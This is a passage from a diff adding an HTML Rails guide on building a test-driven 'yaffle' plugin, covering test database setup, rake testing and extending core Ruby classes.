+							<li><a href="#_generate_the_plugin_skeleton">Generate the plugin skeleton</a></li>
+						
+							<li><a href="#_setup_the_plugin_for_testing">Setup the plugin for testing</a></li>
+						
+							<li><a href="#_run_the_plugin_tests">Run the plugin tests</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_extending_core_classes">Extending core classes</a>
+						<ul>
+						
+							<li><a href="#_creating_the_test">Creating the test</a></li>
+						
+							<li><a href="#_organize_your_files">Organize your files</a></li>
+						
+							<li><a href="#_working_with_init_rb">Working with init.rb</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_add_an_tt_acts_as_yaffle_tt_method_to_active_record">Add an <tt>acts_as_yaffle</tt> method to Active Record</a>
+						<ul>
+						
+							<li><a href="#_add_a_class_method">Add a class method</a></li>
+						
+							<li><a href="#_add_an_instance_method">Add an instance method</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_create_a_generator">Create a generator</a>
+						<ul>
+						
+							<li><a href="#_testing_generators">Testing generators</a></li>
+						
+							<li><a href="#_adding_to_the_manifest">Adding to the manifest</a></li>
+						
+							<li><a href="#_manually_test_the_generator">Manually test the generator</a></li>
+						
+							<li><a href="#_the_usage_file">The USAGE file</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_add_a_custom_generator_command">Add a custom generator command</a>
+					</li>
+					<li>
+					<a href="#_add_a_model">Add a model</a>
+					</li>
+					<li>
+					<a href="#_add_a_controller">Add a controller</a>
+					</li>
+					<li>
+					<a href="#_add_a_helper">Add a helper</a>
+					</li>
+					<li>
+					<a href="#_add_a_custom_route">Add a Custom Route</a>
+					</li>
+					<li>
+					<a href="#_odds_and_ends">Odds and ends</a>
+						<ul>
+						
+							<li><a href="#_generate_rdoc_documentation">Generate RDoc Documentation</a></li>
+						
+							<li><a href="#_write_custom_rake_tasks_in_your_plugin">Write custom Rake tasks in your plugin</a></li>
+						
+							<li><a href="#_store_plugins_in_alternate_locations">Store plugins in alternate locations</a></li>
+						
+							<li><a href="#_create_your_own_plugin_loaders_and_plugin_locators">Create your own Plugin Loaders and Plugin Locators</a></li>
+						
+							<li><a href="#_use_custom_plugin_generators">Use Custom Plugin Generators</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_appendix">Appendix</a>
+						<ul>
+						
+							<li><a href="#_references">References</a></li>
+						
+							<li><a href="#_final_plugin_directory_structure">Final plugin directory structure</a></li>
+						
+						</ul>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>The Basics of Creating Rails Plugins</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>A Rails plugin is either an extension or a modification of the core framework. Plugins provide:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+a way for developers to share bleeding-edge ideas without hurting the stable code base
+</p>
+</li>
+<li>
+<p>
+a segmented architecture so that units of code can be fixed or updated on their own release schedule
+</p>
+</li>
+<li>
+<p>
+an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+</p>
+</li>
+</ul></div>
+<div class="para"><p>After reading this guide you should be familiar with:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Creating a plugin from scratch
+</p>
+</li>
+<li>
+<p>
+Writing and running tests for the plugin
+</p>
+</li>
+<li>
+<p>
+Storing models, views, controllers, helpers and even other plugins in your plugins
+</p>
+</li>
+<li>
+<p>
+Writing generators
+</p>
+</li>
+<li>
+<p>
+Writing custom Rake tasks in your plugin
+</p>
+</li>
+<li>
+<p>
+Generating RDoc documentation for your plugin
+</p>
+</li>
+<li>
+<p>
+Avoiding common pitfalls with <em>init.rb</em>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>This guide describes how to build a test-driven plugin that will:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Extend core ruby classes like Hash and String
+</p>
+</li>
+<li>
+<p>
+Add methods to ActiveRecord::Base in the tradition of the <em>acts_as</em> plugins
+</p>
+</li>
+<li>
+<p>
+Add a view helper that can be used in erb templates
+</p>
+</li>
+<li>
+<p>
+Add a new generator that will generate a migration
+</p>
+</li>
+<li>
+<p>
+Add a custom generator command
+</p>
+</li>
+<li>
+<p>
+A custom route method that can be used in routes.rb
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For the purpose of this guide pretend for a moment that you are an avid bird watcher.  Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.  First, you need to get setup for development.</p></div>
+</div>
+</div>
+<h2 id="_preparation">1. Preparation</h2>
+<div class="sectionbody">
+<h3 id="_create_the_basic_app">1.1. Create the basic app</h3>
+<div class="para"><p>The examples in this guide require that you have a working rails application.  To create a simple rails app execute:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>gem install rails
+rails yaffle_guide
+cd yaffle_guide
+script/generate scaffold bird name:string
+rake db:migrate
+script/server</tt></pre>
+</div></div>
+<div class="para"><p>Then navigate to <a href="http://localhost:3000/birds">http://localhost:3000/birds</a>.  Make sure you have a functioning rails app before continuing.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">
+<div class="title">Editor's note:</div>The aforementioned instructions will work for sqlite3.  For more detailed instructions on how to create a rails app for other databases see the API docs.</td>
+</tr></table>
+</div>
+<h3 id="_generate_the_plugin_skeleton">1.2. Generate the plugin skeleton</h3>
+<div class="para"><p>Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either <em>CamelCased</em> or <em>under_scored</em>, as an argument. Pass <tt>--with-generator</tt> to add an example generator also.</p></div>
+<div class="para"><p>This creates a plugin in <em>vendor/plugins</em> including an <em>init.rb</em> and <em>README</em> as well as standard <em>lib</em>, <em>task</em>, and <em>test</em> directories.</p></div>
+<div class="para"><p>Examples:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>./script/generate plugin yaffle
+./script/generate plugin yaffle --with-generator</tt></pre>
+</div></div>
+<div class="para"><p>To get more detailed help on the plugin generator, type <tt>./script/generate plugin</tt>.</p></div>
+<div class="para"><p>Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the <tt>--with-generator</tt> option now:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>./script/generate plugin yaffle --with-generator</tt></pre>
+</div></div>
+<div class="para"><p>You should see the following output:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>create  vendor/plugins/yaffle/lib
+create  vendor/plugins/yaffle/tasks
+create  vendor/plugins/yaffle/test
+create  vendor/plugins/yaffle/README
+create  vendor/plugins/yaffle/MIT-LICENSE
+create  vendor/plugins/yaffle/Rakefile
+create  vendor/plugins/yaffle/init.rb
+create  vendor/plugins/yaffle/install.rb
+create  vendor/plugins/yaffle/uninstall.rb
+create  vendor/plugins/yaffle/lib/yaffle.rb
+create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
+create  vendor/plugins/yaffle/test/core_ext_test.rb
+create  vendor/plugins/yaffle/generators
+create  vendor/plugins/yaffle/generators/yaffle
+create  vendor/plugins/yaffle/generators/yaffle/templates
+create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
+create  vendor/plugins/yaffle/generators/yaffle/USAGE</tt></pre>
+</div></div>
+<div class="para"><p>To begin just change one thing - move <em>init.rb</em> to <em>rails/init.rb</em>.</p></div>
+<h3 id="_setup_the_plugin_for_testing">1.3. Setup the plugin for testing</h3>
+<div class="para"><p>If your plugin interacts with a database, you'll need to setup a database connection.  In this guide you will learn how to test your plugin against multiple different database adapters using Active Record.  This guide will not cover how to use fixtures in plugin tests.</p></div>
+<div class="para"><p>To setup your plugin to allow for easy testing you'll need to add 3 files:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+A <em>database.yml</em> file with all of your connection strings
+</p>
+</li>
+<li>
+<p>
+A <em>schema.rb</em> file with your table definitions
+</p>
+</li>
+<li>
+<p>
+A test helper method that sets up the database
+</p>
+</li>
+</ul></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/database.yml:</strong></p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>sqlite:
+  :adapter: sqlite
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
+
+sqlite3:
+  :adapter: sqlite3
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
+
+postgresql:
+  :adapter: postgresql
+  :username: postgres
+  :password: postgres
+  :database: yaffle_plugin_test
+  :min_messages: ERROR
+
+mysql:
+  :adapter: mysql
+  :host: localhost
+  :username: root
+  :password: password
+  :database: yaffle_plugin_test</tt></pre>
+</div></div>
+<div class="para"><p>For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=&gt;</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  create_table <span style="color: #990000">:</span>hickwalls<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>last_squawk
+    t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>last_squawked_at
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  create_table <span style="color: #990000">:</span>wickwalls<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>last_tweet
+    t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>last_tweeted_at
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  create_table <span style="color: #990000">:</span>woodpeckers<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/test_helper.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ENV'</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'test'</span>
+ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT'</span><span style="color: #990000">]</span> <span style="color: #990000">||=</span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../../../..'</span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test/unit'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT'</span><span style="color: #990000">],</span> <span style="color: #FF0000">'config/environment.rb'</span><span style="color: #990000">))</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> load_schema
+  config <span style="color: #990000">=</span> YAML<span style="color: #990000">::</span><span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>IO<span style="color: #990000">.</span>read<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/database.yml'</span><span style="color: #990000">))</span>
+  ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/debug.log"</span><span style="color: #990000">)</span>
+
+  db_adapter <span style="color: #990000">=</span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'DB'</span><span style="color: #990000">]</span>
+
+  <span style="font-style: italic"><span style="color: #9A1900"># no db passed, try one of these fine config-free DBs before bombing.</span></span>
+  db_adapter <span style="color: #990000">||=</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">begin</span></span>
+      <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rubygems'</span>
+      <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'sqlite'</span>
+      <span style="color: #FF0000">'sqlite'</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> MissingSourceFile
+      <span style="font-weight: bold"><span style="color: #0000FF">begin</span></span>
+        <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'sqlite3'</span>
+        <span style="color: #FF0000">'sqlite3'</span>
+      <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> MissingSourceFile
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> db_adapter<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="color: #FF0000">"No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>establish_connection<span style="color: #990000">(</span>config<span style="color: #990000">[</span>db_adapter<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/schema.rb"</span><span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../rails/init.rb'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now whenever you write a test that requires the database, you can call <em>load_schema</em>.</p></div>
+<h3 id="_run_the_plugin_tests">1.4. Run the plugin tests</h3>
+<div class="para"><p>Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct.  By default rails generates a file in <em>vendor/plugins/yaffle/test/yaffle_test.rb</em> with a sample test.  Replace the contents of that file with:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/yaffle_test.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+  load_schema
+
+  <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_schema_has_loaded_correctly
+    assert_equal <span style="color: #990000">[],</span> Hickwall<span style="color: #990000">.</span>all
+    assert_equal <span style="color: #990000">[],</span> Wickwall<span style="color: #990000">.</span>all
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To run this, go to the plugin directory and run <tt>rake</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>cd vendor/plugins/yaffle
+rake</tt></pre>
+</div></div>
+<div class="para"><p>You should see output like:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
+-- create_table(:hickwalls, {:force=&gt;true})
+   -&gt; 0.0220s
+-- create_table(:wickwalls, {:force=&gt;true})
+   -&gt; 0.0077s
+-- initialize_schema_migrations_table()
+   -&gt; 0.0007s
+-- assume_migrated_upto_version(0)
+   -&gt; 0.0007s
+Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
+Started
+.
+Finished in 0.002236 seconds.
+
+1 test, 1 assertion, 0 failures, 0 errors</tt></pre>
+</div></div>
+<div class="para"><p>By default the setup above runs your tests with sqlite or sqlite3.  To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake DB=sqlite
+rake DB=sqlite3
+rake DB=mysql
+rake DB=postgresql</tt></pre>
+</div></div>
+<div class="para"><p>Now you are ready to test-drive your plugin!</p></div>
+</div>
+<h2 id="_extending_core_classes">2. Extending core classes</h2>
+<div class="sectionbody">
+<div class="para"><p>This section will explain how to add a method to String that will be available anywhere in your rails app by:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Writing tests for the desired behavior
+</p>
+</li>
+<li>
+<p>
+Creating and requiring the correct files
+</p>
+</li>
+</ul></div>
+<h3 id="_creating_the_test">2.1. Creating the test</h3>
+<div class="para"><p>In this example you will add a method to String named <tt>to_squawk</tt>.  To begin, create a new test file with a few assertions:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/core_ext_test.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CoreExtTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_to_squawk_prepends_the_word_squawk
+    assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Hello World"</span><span style="color: #990000">.</span>to_squawk
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Navigate to your plugin directory and run <tt>rake test</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>cd vendor/plugins/yaffle
+rake test</tt></pre>
+</div></div>
+<div class="para"><p>The test above should fail with the message:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt> 1) Error:
+test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'</tt></pre>
+</div></div>
+<div class="para"><p>Great - now you are ready to start development.</p></div>
+<h3 id="_organize_your_files">2.2. Organize your files</h3>
+<div class="para"><p>A common pattern in rails plugins is to set up the file structure like this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>|-- lib
+|   |-- yaffle
+|   |   `-- core_ext.rb
+|   `-- yaffle.rb</tt></pre>
+</div></div>
+<div class="para"><p>The first thing we need to to is to require our <em>lib/yaffle.rb</em> file from <em>rails/init.rb</em>:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle'</span>
+</tt></pre></div></div>
+<div class="para"><p>Then in <em>lib/yaffle.rb</em> require <em>lib/core_ext.rb</em>:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/core_ext"</span>
+</tt></pre></div></div>
+<div class="para"><p>Finally, create the <em>core_ext.rb</em> file and add the <em>to_squawk</em> method:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/core_ext.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>String<span style="color: #990000">.</span>class_eval <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> to_squawk
+    <span style="color: #FF0000">"squawk! #{self}"</span><span style="color: #990000">.</span>strip
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To test that your method does what it says it does, run the unit tests with <tt>rake</tt> from your plugin directory.  To see this in action, fire up a console and start squawking:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ ./script/console
+&gt;&gt; "Hello World".to_squawk
+=&gt; "squawk! Hello World"</tt></pre>
+</div></div>
+<h3 id="_working_with_init_rb">2.3. Working with init.rb</h3>
+<div class="para"><p>When rails loads plugins it looks for the file named init.rb.  However, when the plugin is initialized, <em>init.rb</em> is invoked via <tt>eval</tt> (not <tt>require</tt>) so it has slightly different behavior.</p></div>
+<div class="para"><p>Under certain circumstances if you reopen classes or modules in <em>init.rb</em> you may inadvertently create a new class, rather than reopening an existing class.  A better alternative is to reopen the class in a different file, and require that file from <tt>init.rb</tt>, as shown above.</p></div>
+<div class="para"><p>If you must reopen a class in <tt>init.rb</tt> you can use <tt>module_eval</tt> or <tt>class_eval</tt> to avoid any issues:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/init.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Hash<span style="color: #990000">.</span>class_eval <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
+    <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Another way is to explicitly define the top-level module space for all modules and classes, like <tt>::Hash</tt>:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/init.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> <span style="color: #990000">::</span>Hash
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
+    <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_add_an_tt_acts_as_yaffle_tt_method_to_active_record">3. Add an <tt>acts_as_yaffle</tt> method to Active Record</h2>
+<div class="sectionbody">
+<div class="para"><p>A common pattern in plugins is to add a method called <em>acts_as_something</em> to models.  In this case, you want to write a method called <em>acts_as_yaffle</em> that adds a <em>squawk</em> method to your models.</p></div>
+<div class="para"><p>To begin, set up your files so that you have:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle/acts_as_yaffle'</span>
+</tt></pre></div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
+  <span style="font-style: italic"><span style="color: #9A1900"># your code will go here</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Note that after requiring <em>acts_as_yaffle</em> you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.</p></div>
+<div class="para"><p>One of the most common plugin patterns for <em>acts_as_yaffle</em> plugins is to structure your file like so:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
+    base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
+    <span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to classes, like Hickwall</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_something
+      send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
